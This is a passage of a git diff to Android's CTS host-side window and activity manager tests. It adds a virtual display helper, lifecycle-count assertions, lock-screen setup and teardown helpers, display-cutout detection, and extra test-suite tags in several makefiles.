+ final DisplayManager displayManager = getSystemService(DisplayManager.class);
+ final String name = "CtsVirtualDisplay";
+
+ int flags = VIRTUAL_DISPLAY_FLAG_PRESENTATION | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+ if (intent.getBooleanExtra("show_content_when_locked", false /* defaultValue */)) {
+ flags |= 1 << 5; // VIRTUAL_DISPLAY_FLAG_CAN_SHOW_WITH_INSECURE_KEYGUARD
+ }
+ mVirtualDisplay = displayManager.createVirtualDisplay(
+ name, WIDTH, HEIGHT, DENSITY, mReader.getSurface(), flags);
+ }
+
+ private void destroyVirtualDisplay() {
+ mVirtualDisplay.release();
+ mReader.close();
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk b/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk
new file mode 100644
index 0000000..0df59e7
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
+
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
+
+LOCAL_MODULE := cts-display-service-app-util
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/src/android/server/displayservice/DisplayHelper.java b/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/src/android/server/displayservice/DisplayHelper.java
new file mode 100644
index 0000000..89683a0
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/src/android/server/displayservice/DisplayHelper.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.server.displayservice;
+
+import static junit.framework.Assert.assertTrue;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+
+public class DisplayHelper {
+ private static final String VIRTUAL_DISPLAY_NAME = "CtsVirtualDisplay";
+ private static final String VIRTUAL_DISPLAY_SERVICE =
+ "android.server.displayservice/.VirtualDisplayService";
+ private static final Pattern mDisplayDevicePattern = Pattern.compile(
+ ".*DisplayDeviceInfo\\{\"([^\"]+)\":.*, state (\\S+),.*\\}.*");
+
+ private boolean mCreated;
+ private final ITestDevice mDevice;
+
+ public DisplayHelper(ITestDevice device) {
+ mDevice = device;
+ }
+
+ public void createAndWaitForDisplay(boolean external, boolean requestShowWhenLocked)
+ throws DeviceNotAvailableException {
+ StringBuilder command =
+ new StringBuilder("am startfgservice -n " + VIRTUAL_DISPLAY_SERVICE);
+ command.append(" --es command create");
+ if (external) {
+ command.append(" --ez external_display true");
+ }
+ if (requestShowWhenLocked) {
+ command.append(" --ez show_content_when_locked true");
+ }
+ mDevice.executeShellCommand(command.toString());
+
+ waitForDisplayState(mDevice, false /* default */, true /* exists */, true /* on */);
+ mCreated = true;
+ }
+
+ public void turnDisplayOff() throws DeviceNotAvailableException {
+ mDevice.executeShellCommand(
+ "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command off");
+ waitForDisplayState(mDevice, false /* default */, true /* exists */, false /* on */);
+ }
+
+ public void turnDisplayOn() throws DeviceNotAvailableException {
+ mDevice.executeShellCommand(
+ "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command on");
+ waitForDisplayState(mDevice, false /* default */, true /* exists */, true /* on */);
+ }
+
+ public void releaseDisplay() throws DeviceNotAvailableException {
+ if (mCreated) {
+ mDevice.executeShellCommand(
+ "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command destroy");
+ waitForDisplayState(mDevice, false /* default */, false /* exists */, true /* on */);
+ }
+ mCreated = false;
+ }
+
+ public static void waitForDefaultDisplayState(ITestDevice device, boolean wantOn)
+ throws DeviceNotAvailableException {
+ waitForDisplayState(device, true /* default */, true /* exists */, wantOn);
+ }
+
+ public static boolean getDefaultDisplayState(ITestDevice device)
+ throws DeviceNotAvailableException {
+ return getDisplayState(device, true);
+ }
+
+ private static void waitForDisplayState(
+ ITestDevice device, boolean defaultDisplay, boolean wantExists, boolean wantOn)
+ throws DeviceNotAvailableException {
+ int tries = 0;
+ boolean done = false;
+ do {
+ if (tries > 0) {
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException e) {
+ // Oh well
+ }
+ }
+
+ Boolean state = getDisplayState(device, defaultDisplay);
+ done = (!wantExists && state == null)
+ || (wantExists && state != null && state == wantOn);
+
+ tries++;
+ } while (tries < 10 && !done);
+
+ assertTrue(done);
+ }
+
+ private static Boolean getDisplayState(ITestDevice device, boolean defaultDisplay)
+ throws DeviceNotAvailableException {
+ final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
+ device.executeShellCommand("dumpsys display", outputReceiver);
+ String dump = outputReceiver.getOutput();
+
+ boolean displayExists = false;
+ boolean displayOn = false;
+ for (String line : dump.split("\\n")) {
+ Matcher matcher = mDisplayDevicePattern.matcher(line);
+ if (matcher.matches()) {
+ if ((defaultDisplay && line.contains("FLAG_DEFAULT_DISPLAY"))
+ || (!defaultDisplay && VIRTUAL_DISPLAY_NAME.equals(matcher.group(1)))) {
+ return "ON".equals(matcher.group(2));
+ }
+ }
+ }
+ return null;
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
index 0f232e7..a54ed19 100644
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
@@ -23,6 +23,7 @@
import static android.server.cts.ActivityManagerTestBase.PINNED_STACK_ID;
import static android.server.cts.ActivityManagerTestBase.componentName;
import static android.server.cts.StateLogger.log;
+import static android.server.cts.StateLogger.logE;
import android.server.cts.ActivityManagerState.ActivityStack;
import android.server.cts.ActivityManagerState.ActivityTask;
@@ -32,6 +33,7 @@
import android.server.cts.WindowManagerState.WindowTask;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.DeviceNotAvailableException;
import junit.framework.Assert;
@@ -40,6 +42,7 @@
import java.util.List;
import java.util.Objects;
import java.util.function.BiPredicate;
+import java.util.function.BooleanSupplier;
import java.util.function.Predicate;
/** Combined state of the activity manager and window manager. */
@@ -210,6 +213,26 @@
} while (retriesLeft-- > 0);
}
+ void waitForAllStoppedActivities(ITestDevice device) throws Exception {
+ int retriesLeft = 5;
+ do {
+ mAmState.computeState(device);
+ if (mAmState.containsStartedActivities()){
+ log("***Waiting for valid stacks and activities states...");
+ try {
+ Thread.sleep(1500);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ // Well I guess we are not waiting...
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+
+ assertFalse(mAmState.containsStartedActivities());
+ }
+
void waitForHomeActivityVisible(ITestDevice device) throws Exception {
waitForValidState(device, mAmState.getHomeActivityName());
}
@@ -248,10 +271,17 @@
"***Waiting for Display unfrozen");
}
- void waitForActivityState(ITestDevice device, String activityName, String activityState)
- throws Exception {
- waitForWithAmState(device, state -> state.hasActivityState(activityName, activityState),
- "***Waiting for Activity State: " + activityState);
+ void waitForActivityState(ITestDevice device, String activityName, String... activityStates)
+ throws Exception {
+ waitForWithAmState(device, state -> {
+ for (String activityState : activityStates) {
+ if (state.hasActivityState(activityName, activityState)) {
+ return true;
+ }
+ }
+ return false;
+ },
+ "***Waiting for Activity State: " + activityStates);
}
void waitForFocusedStack(ITestDevice device, int stackId) throws Exception {
@@ -278,11 +308,22 @@
void waitFor(ITestDevice device,
BiPredicate<ActivityManagerState, WindowManagerState> waitCondition, String message)
throws Exception {
+ waitFor(message, () -> {
+ try {
+ mAmState.computeState(device);
+ mWmState.computeState(device);
+ } catch (Exception e) {
+ logE(e.toString());
+ return false;
+ }
+ return waitCondition.test(mAmState, mWmState);
+ });
+ }
+
+ void waitFor(String message, BooleanSupplier waitCondition) throws Exception {
int retriesLeft = 5;
do {
- mAmState.computeState(device);
- mWmState.computeState(device);
- if (!waitCondition.test(mAmState, mWmState)) {
+ if (!waitCondition.getAsBoolean()) {
log(message);
try {
Thread.sleep(1000);
@@ -459,18 +500,6 @@
assertTrue(msg, mWmState.containsStack(stackId));
}
- void assertHasFullscreenTypeStackOnDisplay(String msg, int displayId) {
- assertTrue(msg, mAmState.containsSuitableStackOnDisplay(displayId));
- }
-
- void assertActivityInFullscreenTypeStack(String msg, String activityName)
- throws Exception {
- final int stackId = mAmState.getTaskByActivityName(activityName).mStackId;
- assertTrue(mAmState.isSuitableStack(stackId));
- assertFrontStack(msg, stackId);
- assertFocusedStack(msg, stackId);
- }
-
void assertDoesNotContainStack(String msg, int stackId) throws Exception {
assertFalse(msg, mAmState.containsStack(stackId));
assertFalse(msg, mWmState.containsStack(stackId));
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
index 2e53997..fa79c5e 100644
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
@@ -33,7 +33,8 @@
import java.util.regex.Pattern;
import java.util.regex.Matcher;
-import static android.server.cts.ActivityManagerTestBase.*;
+import static android.server.cts.ActivityManagerTestBase.HOME_STACK_ID;
+import static android.server.cts.ActivityManagerTestBase.RECENTS_STACK_ID;
import static android.server.cts.StateLogger.log;
import static android.server.cts.StateLogger.logE;
@@ -43,6 +44,7 @@
public static final String STATE_RESUMED = "RESUMED";
public static final String STATE_PAUSED = "PAUSED";
public static final String STATE_STOPPED = "STOPPED";
+ public static final String STATE_DESTROYED = "DESTROYED";
public static final String RESIZE_MODE_RESIZEABLE = "RESIZE_MODE_RESIZEABLE";
@@ -234,21 +236,6 @@
return null;
}
- boolean containsSuitableStackOnDisplay(int displayId) {
- for (ActivityStack stack : mDisplayStacks.get(displayId)) {
- if (isSuitableStack(stack.mStackId)) {
- return true;
- }
- }
- return false;
- }
-
- boolean isSuitableStack(int stackId) {
- return stackId != HOME_STACK_ID
- && stackId != DOCKED_STACK_ID
- && stackId != PINNED_STACK_ID;
- }
-
int getStackPosition(int stackId) {
for (Integer displayId : mDisplayStacks.keySet()) {
List<ActivityStack> stacks = mDisplayStacks.get(displayId);
@@ -295,6 +282,20 @@
return false;
}
+ boolean containsStartedActivities() {
+ for (ActivityStack stack : mStacks) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (!activity.state.equals(STATE_STOPPED)
+ && !activity.state.equals(STATE_DESTROYED)) {
+ return true;
+ }
+ }
+ }
+ }
+ return false;
+ }
+
boolean hasActivityState(String activityName, String activityState) {
String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
for (ActivityStack stack : mStacks) {
@@ -402,10 +403,12 @@
private static final Pattern TASK_ID_PATTERN = Pattern.compile("Task id #(\\d+)");
private static final Pattern RESUMED_ACTIVITY_PATTERN = Pattern.compile(
"mResumedActivity\\: ActivityRecord\\{(.+) u(\\d+) (\\S+) (\\S+)\\}");
+ private static final Pattern SLEEPING_PATTERN = Pattern.compile("isSleeping=(\\S+)");
int mDisplayId;
int mStackId;
String mResumedActivity;
+ Boolean mSleeping; // A Boolean to trigger an NPE if it's not initialized
ArrayList<ActivityTask> mTasks = new ArrayList();
private ActivityStack() {
@@ -468,6 +471,13 @@
log(mResumedActivity);
continue;
}
+
+ matcher = SLEEPING_PATTERN.matcher(line);
+ if (matcher.matches()) {
+ log(line);
+ mSleeping = "true".equals(matcher.group(1));
+ continue;
+ }
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
index 07d1862..30b0af9 100755
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
@@ -24,7 +24,6 @@
import com.android.tradefed.result.InputStreamSource;
import com.android.tradefed.testtype.DeviceTestCase;
-import java.awt.*;
import java.awt.image.BufferedImage;
import java.lang.Exception;
import java.lang.Integer;
@@ -142,18 +141,15 @@
protected static final int INVALID_DEVICE_ROTATION = -1;
- /** Corresponds to {@link Surface.ROTATION_0},
- * {@link Surface.ROTATION_90}, {@link Surface.ROTATION_180}, {@link Surface.ROTATION_270} */
- protected static final int ROTATION_0 = 0;
- protected static final int ROTATION_90 = 1;
- protected static final int ROTATION_180 = 2;
- protected static final int ROTATION_270 = 3;
-
/** A reference to the device under test. */
protected ITestDevice mDevice;
private HashSet<String> mAvailableFeatures;
+ private boolean mLockCredentialsSet;
+
+ private boolean mLockDisabled;
+
protected static String getAmStartCmd(final String activityName) {
return "am start -n " + getActivityComponentName(activityName);
}
@@ -174,17 +170,9 @@
return base;
}
- protected static String getAmStartCmd(final String activityName, final int displayId,
- final String... keyValuePairs) {
- String base = "am start -n " + getActivityComponentName(activityName) + " -f 0x18000000"
+ protected static String getAmStartCmd(final String activityName, final int displayId) {
+ return "am start -n " + getActivityComponentName(activityName) + " -f 0x18000000"
+ " --display " + displayId;
- if (keyValuePairs.length % 2 != 0) {
- throw new RuntimeException("keyValuePairs must be pairs of key/value arguments");
- }
- for (int i = 0; i < keyValuePairs.length; i += 2) {
- base += " --es " + keyValuePairs[i] + " " + keyValuePairs[i + 1];
- }
- return base;
}
protected static String getAmStartCmdInNewTask(final String activityName) {
@@ -218,6 +206,10 @@
componentName = name;
}
+ protected static void setDefaultComponentName() {
+ setComponentName(DEFAULT_COMPONENT_NAME);
+ }
+
static String getBaseWindowName() {
return getBaseWindowName(componentName);
}
@@ -271,7 +263,7 @@
@Override
protected void setUp() throws Exception {
super.setUp();
- setComponentName(DEFAULT_COMPONENT_NAME);
+ setDefaultComponentName();
// Get the device, this gives a handle to run commands and install APKs.
mDevice = getDevice();
@@ -283,12 +275,15 @@
mInitialAccelerometerRotation = getAccelerometerRotation();
mUserRotation = getUserRotation();
mFontScale = getFontScale();
+ mLockCredentialsSet = false;
+ mLockDisabled = isLockDisabled();
}
@Override
protected void tearDown() throws Exception {
super.tearDown();
try {
+ setLockDisabled(mLockDisabled);
executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
executeShellCommand(AM_FORCE_STOP_SECOND_TEST_PACKAGE);
executeShellCommand(AM_FORCE_STOP_THIRD_TEST_PACKAGE);
@@ -296,6 +291,7 @@
setAccelerometerRotation(mInitialAccelerometerRotation);
setUserRotation(mUserRotation);
setFontScale(mFontScale);
+ setWindowTransitionAnimationDurationScale(1);
// Remove special stacks.
removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
wakeUpAndUnlockDevice();
@@ -398,14 +394,10 @@
mAmWmState.waitForHomeActivityVisible(mDevice);
}
- protected void launchActivityOnDisplayNoWait(String targetActivityName, int displayId,
- String... keyValuePairs) throws Exception {
- executeShellCommand(getAmStartCmd(targetActivityName, displayId, keyValuePairs));
- }
+ protected void launchActivityOnDisplay(String targetActivityName, int displayId)
+ throws Exception {
+ executeShellCommand(getAmStartCmd(targetActivityName, displayId));
- protected void launchActivityOnDisplay(String targetActivityName, int displayId,
- String... keyValuePairs) throws Exception {
- launchActivityOnDisplayNoWait(targetActivityName, displayId, keyValuePairs);
mAmWmState.waitForValidState(mDevice, targetActivityName);
}
@@ -565,10 +557,11 @@
|| PRETEND_DEVICE_SUPPORTS_FREEFORM;
}
- protected boolean supportsKeyguard() throws DeviceNotAvailableException {
+ protected boolean isHandheld() throws DeviceNotAvailableException {
return !hasDeviceFeature("android.software.leanback")
&& !hasDeviceFeature("android.hardware.type.watch")
- && !isUiModeLockedToVrHeadset();
+ && !hasDeviceFeature("android.hardware.type.embedded")
+ && !hasDeviceFeature("android.hardware.type.automotive");
}
// TODO: Switch to using a feature flag, when available.
@@ -647,7 +640,7 @@
return result;
}
- private boolean isDisplayOn() throws DeviceNotAvailableException {
+ protected boolean isDisplayOn() throws DeviceNotAvailableException {
final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
mDevice.executeShellCommand("dumpsys power", outputReceiver);
@@ -688,6 +681,11 @@
unlockDevice();
}
+ protected void wakeUpAndRemoveLock() throws DeviceNotAvailableException {
+ wakeUpDevice();
+ setLockDisabled(true);
+ }
+
protected void wakeUpDevice() throws DeviceNotAvailableException {
runCommandAndPrintOutput("input keyevent WAKEUP");
}
@@ -721,14 +719,36 @@
}
protected void setLockCredential() throws DeviceNotAvailableException {
+ mLockCredentialsSet = true;
runCommandAndPrintOutput("locksettings set-pin " + LOCK_CREDENTIAL);
}
- protected void removeLockCredential() throws DeviceNotAvailableException {
+ private void removeLockCredential() throws DeviceNotAvailableException {
runCommandAndPrintOutput("locksettings clear --old " + LOCK_CREDENTIAL);
}
/**
+ * Returns whether the lock screen is disabled.
+ * @return true if the lock screen is disabled, false otherwise.
+ */
+ private boolean isLockDisabled() throws DeviceNotAvailableException {
+ final String isLockDisabled = runCommandAndPrintOutput("locksettings get-disabled").trim();
+ if ("null".equals(isLockDisabled)) {
+ return false;
+ }
+ return Boolean.parseBoolean(isLockDisabled);
+
+ }
+
+ /**
+ * Disable the lock screen.
+ * @param lockDisabled true if should disable, false otherwise.
+ */
+ void setLockDisabled(boolean lockDisabled) throws DeviceNotAvailableException {
+ runCommandAndPrintOutput("locksettings set-disabled " + lockDisabled);
+ }
+
+ /**
* Sets the device rotation, value corresponds to one of {@link Surface.ROTATION_0},
* {@link Surface.ROTATION_90}, {@link Surface.ROTATION_180}, {@link Surface.ROTATION_270}.
*/
@@ -792,6 +812,12 @@
}
}
+ protected void setWindowTransitionAnimationDurationScale(float animDurationScale)
+ throws DeviceNotAvailableException {
+ runCommandAndPrintOutput(
+ "settings put global transition_animation_scale " + animDurationScale);
+ }
+
protected float getFontScale() throws DeviceNotAvailableException {
try {
final String fontScale =
@@ -990,7 +1016,124 @@
return filteredResult;
}
+ void assertSingleLaunch(String activityName, String logSeparator) throws DeviceNotAvailableException {
+ int retriesLeft = 5;
+ String resultString;
+ do {
+ resultString = validateLifecycleCounts(activityName, logSeparator, 1 /* createCount */,
+ 1 /* startCount */, 1 /* resumeCount */, 0 /* pauseCount */, 0 /* stopCount */,
+ 0 /* destroyCount */);
+ if (resultString != null) {
+ log("***Waiting for valid lifecycle state: " + resultString);
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+
+ assertNull(resultString, resultString);
+ }
+
+ public void assertSingleLaunchAndStop(String activityName, String logSeparator) throws DeviceNotAvailableException {
+ int retriesLeft = 5;
+ String resultString;
+ do {
+ resultString = validateLifecycleCounts(activityName, logSeparator, 1 /* createCount */,
+ 1 /* startCount */, 1 /* resumeCount */, 1 /* pauseCount */, 1 /* stopCount */,
+ 0 /* destroyCount */);
+ if (resultString != null) {
+ log("***Waiting for valid lifecycle state: " + resultString);
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+
+ assertNull(resultString, resultString);
+ }
+
+ public void assertSingleStartAndStop(String activityName, String logSeparator) throws DeviceNotAvailableException {
+ int retriesLeft = 5;
+ String resultString;
+ do {
+ resultString = validateLifecycleCounts(activityName, logSeparator, 0 /* createCount */,
+ 1 /* startCount */, 1 /* resumeCount */, 1 /* pauseCount */, 1 /* stopCount */,
+ 0 /* destroyCount */);
+ if (resultString != null) {
+ log("***Waiting for valid lifecycle state: " + resultString);
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+
+ assertNull(resultString, resultString);
+ }
+
+ void assertSingleStart(String activityName, String logSeparator) throws DeviceNotAvailableException {
+ int retriesLeft = 5;
+ String resultString;
+ do {
+ resultString = validateLifecycleCounts(activityName, logSeparator, 0 /* createCount */,
+ 1 /* startCount */, 1 /* resumeCount */, 0 /* pauseCount */, 0 /* stopCount */,
+ 0 /* destroyCount */);
+ if (resultString != null) {
+ log("***Waiting for valid lifecycle state: " + resultString);
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+
+ assertNull(resultString, resultString);
+ }
+
+ private String validateLifecycleCounts(String activityName, String logSeparator,
+ int createCount, int startCount, int resumeCount, int pauseCount, int stopCount,
+ int destroyCount) throws DeviceNotAvailableException {
+
+ final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+ logSeparator);
+
+ if (lifecycleCounts.mCreateCount != createCount) {
+ return activityName + " created " + lifecycleCounts.mCreateCount + " times.";
+ }
+ if (lifecycleCounts.mStartCount != startCount) {
+ return activityName + " started " + lifecycleCounts.mStartCount + " times.";
+ }
+ if (lifecycleCounts.mResumeCount != resumeCount) {
+ return activityName + " resumed " + lifecycleCounts.mResumeCount + " times.";
+ }
+ if (lifecycleCounts.mPauseCount != pauseCount) {
+ return activityName + " paused " + lifecycleCounts.mPauseCount + " times.";
+ }
+ if (lifecycleCounts.mStopCount != stopCount) {
+ return activityName + " stopped " + lifecycleCounts.mStopCount + " times.";
+ }
+ if (lifecycleCounts.mDestroyCount != destroyCount) {
+ return activityName + " destroyed " + lifecycleCounts.mDestroyCount + " times.";
+ }
+ return null;
+ }
+
private static final Pattern sCreatePattern = Pattern.compile("(.+): onCreate");
+ private static final Pattern sStartPattern = Pattern.compile("(.+): onStart");
private static final Pattern sResumePattern = Pattern.compile("(.+): onResume");
private static final Pattern sPausePattern = Pattern.compile("(.+): onPause");
private static final Pattern sConfigurationChangedPattern =
@@ -1007,6 +1150,8 @@
"(.+): config size=\\((\\d+),(\\d+)\\) displaySize=\\((\\d+),(\\d+)\\)"
+ " metricsSize=\\((\\d+),(\\d+)\\) smallestScreenWidth=(\\d+) densityDpi=(\\d+)"
+ " orientation=(\\d+)");
+ private static final Pattern sDisplayCutoutPattern = Pattern.compile(
+ "(.+): cutout=(true|false)");
private static final Pattern sDisplayStatePattern =
Pattern.compile("Display Power: state=(.+)");
private static final Pattern sCurrentUiModePattern = Pattern.compile("mCurUiMode=0x(\\d+)");
@@ -1094,6 +1239,58 @@
return null;
}
+ /** Check if a device has display cutout. */
+ boolean hasDisplayCutout() throws Exception {
+ // Launch an activity to report cutout state
+ final String logSeparator = clearLogcat();
+ launchActivity(BROADCAST_RECEIVER_ACTIVITY);
+
+ // Read the logs to check if cutout is present
+ final boolean displayCutoutPresent = getCutoutStateForActivity(
+ BROADCAST_RECEIVER_ACTIVITY, logSeparator);
+
+ // Finish activity
+ executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+ mAmWmState.waitForWithAmState(mDevice, (state) -> !state.containsActivity(
+ BROADCAST_RECEIVER_ACTIVITY), "Waiting for activity to be removed");
+
+ return displayCutoutPresent;
+ }
+
+ /**
+ * Wait for activity to report cutout state in logs and return it. Will return {@code null}
+ * after timeout.
+ */
+ private boolean getCutoutStateForActivity(String activityName, String logSeparator)
+ throws DeviceNotAvailableException {
+ final String logTag = activityName;
+ for (int retry = 1; retry <= 5; retry++) {
+ final boolean result = readLastReportedCutoutState(logSeparator, logTag);
+ if (result) {
+ return result;
+ }
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ }
+ }
+ return false;
+ }
+
+ /** Read display cutout state from device logs. */
+ private boolean readLastReportedCutoutState(String logSeparator, String logTag)
+ throws DeviceNotAvailableException {
+ final String[] lines = getDeviceLogsForComponents(new String[]{logTag}, logSeparator);
+ for (int i = lines.length - 1; i >= 0; i--) {
+ final String line = lines[i].trim();
+ final Matcher matcher = sDisplayCutoutPattern.matcher(line);
+ if (matcher.matches()) {
+ return "true".equals(matcher.group(2));
+ }
+ }
+ return false;
+ }
+
/** Waits for at least one onMultiWindowModeChanged event. */
ActivityLifecycleCounts waitForOnMultiWindowModeChanged(
String activityName, String logSeparator) throws Exception {
@@ -1118,6 +1315,7 @@
class ActivityLifecycleCounts {
int mCreateCount;
+ int mStartCount;
int mResumeCount;
int mConfigurationChangedCount;
int mLastConfigurationChangedLineIndex;
@@ -1144,6 +1342,12 @@
continue;
}
+ matcher = sStartPattern.matcher(line);
+ if (matcher.matches()) {
+ mStartCount++;
+ continue;
+ }
+
matcher = sResumePattern.matcher(line);
if (matcher.matches()) {
mResumeCount++;
@@ -1316,4 +1520,17 @@
}
}
}
+
+ void tearDownLockCredentials() throws Exception {
+ if (!mLockCredentialsSet) {
+ return;
+ }
+
+ removeLockCredential();
+ // Dismiss active keyguard after credential is cleared, so
+ // keyguard doesn't ask for the stale credential.
+ pressBackButton();
+ sleepDevice();
+ wakeUpAndUnlockDevice();
+ }
}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
index 79470c6..0739743 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
@@ -30,7 +30,7 @@
LOCAL_CTS_TEST_PACKAGE := android.server.cts
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk
index a0f71dd..dc2485d 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk
@@ -26,7 +26,7 @@
LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDeviceAlertWindowTestApp
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk
index 940f7a6..5246c94 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk
@@ -25,7 +25,7 @@
LOCAL_SDK_VERSION := 25
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDeviceAlertWindowTestAppSdk25
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
index 1ec751c..12a04ed 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDragAndDropSourceApp
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
index 7dc512c..cb43a8b 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDragAndDropTargetApp
